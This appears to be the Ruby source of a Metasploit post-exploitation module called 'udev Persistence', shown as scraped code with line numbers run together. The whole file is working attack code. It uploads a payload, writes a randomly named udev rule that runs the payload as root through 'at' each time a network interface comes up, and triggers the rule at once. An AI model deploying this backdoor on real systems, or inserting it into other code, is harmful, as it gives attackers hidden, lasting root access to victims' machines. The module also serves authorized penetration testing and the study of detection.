Path: blob/master/modules/exploits/linux/persistence/udev.rb
31151 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local67Rank = GreatRanking89include Msf::Post::File10include Msf::Post::Unix11include Msf::Exploit::Local::Persistence12prepend Msf::Exploit::Remote::AutoCheck13include Msf::Exploit::Deprecated14moved_from 'exploits/linux/local/udev_persistence'1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'udev Persistence',21'Description' => %q{22This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.23It'll be executed with root privileges everytime a network interface other than l0 comes up.24Execution is triggered through at command, so it must be installed on the target.25},26'License' => MSF_LICENSE,27'Author' => [28'Julien Voisin'29],30'Platform' => [ 'unix', 'linux' ],31'Arch' => [32ARCH_CMD,33ARCH_X86,34ARCH_X64,35ARCH_ARMLE,36ARCH_AARCH64,37ARCH_PPC,38ARCH_MIPSLE,39ARCH_MIPSBE40],41'Payload' => {42'BadChars' => '\n"'43},44'SessionTypes' => [ 'shell', 'meterpreter' ],45'Targets' => [ ['Automatic', {}] ],46'DefaultTarget' => 0,47'Privileged' => true,48'DisclosureDate' => '2003-11-01', # udev release date49'Notes' => {50'Stability' => [CRASH_SAFE],51'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],52'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]53},54'References' => [55['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],56['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],57['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],58['ATT&CK', Mitre::Attack::Technique::T1546_017_UDEV_RULES]59]60)61)62register_options([63OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),64OptString.new('UDEV_PATH', [false, 'Path to udev', '/lib/udev/rules.d/']),65OptString.new('UDEV_RULE', [false, 'Rule name for udev. Defaults to random']),66])67end6869def check70print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')71return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)72return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)73return CheckCode::Safe("#{datastore['UDEV_PATH']} doesnt exist") unless exists?(datastore['UDEV_PATH'])74return CheckCode::Safe("#{datastore['UDEV_PATH']} isnt writable") unless writable?(datastore['UDEV_PATH'])7576return CheckCode::Safe('at commmand not found') if get_at_command('').nil?7778CheckCode::Appears('likely exploitable')79end8081def get_at_command(payload_path)82return nil unless executable? '/usr/bin/at'8384%(/usr/bin/at -M -f #{payload_path} now)85end8687def install_persistence88udev_rule = datastore['UDEV_RULE'].blank? ? %(#{Rex::Text.rand_text_numeric(2)}-#{Rex::Text.rand_text_alphanumeric(8)}.rules) : datastore['UDEV_RULE']89backdoor_path = "#{datastore['UDEV_PATH']}/#{udev_rule}"90payload_path = "#{writable_dir}/#{(datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alphanumeric(5..10))}"9192if exists? backdoor_path93fail_with Failure::BadConfig, "#{backdoor_path} is already present"94end9596if payload.arch.first == 'cmd'97upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload.encoded}")98else99payload_path = writable_dir100payload_path = payload_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"101payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)102payload_path << payload_name103print_status("Uploading payload file to #{payload_path}")104upload_and_chmodx payload_path, generate_payload_exe105end106@clean_up_rc << "rm #{payload_path}\n"107108print_good "#{payload_path} written"109110fail_with(Failure::PayloadFailed, 'Failed to write UDEV file') unless write_file(backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_at_command(payload_path)}"))111@clean_up_rc << "rm #{backdoor_path}\n"112113print_good "#{backdoor_path} written"114115# need to trigger first rule manually116print_status 'Triggering udev rule'117cmd_exec('udevadm trigger -v --subsystem-match=net')118end119end120121122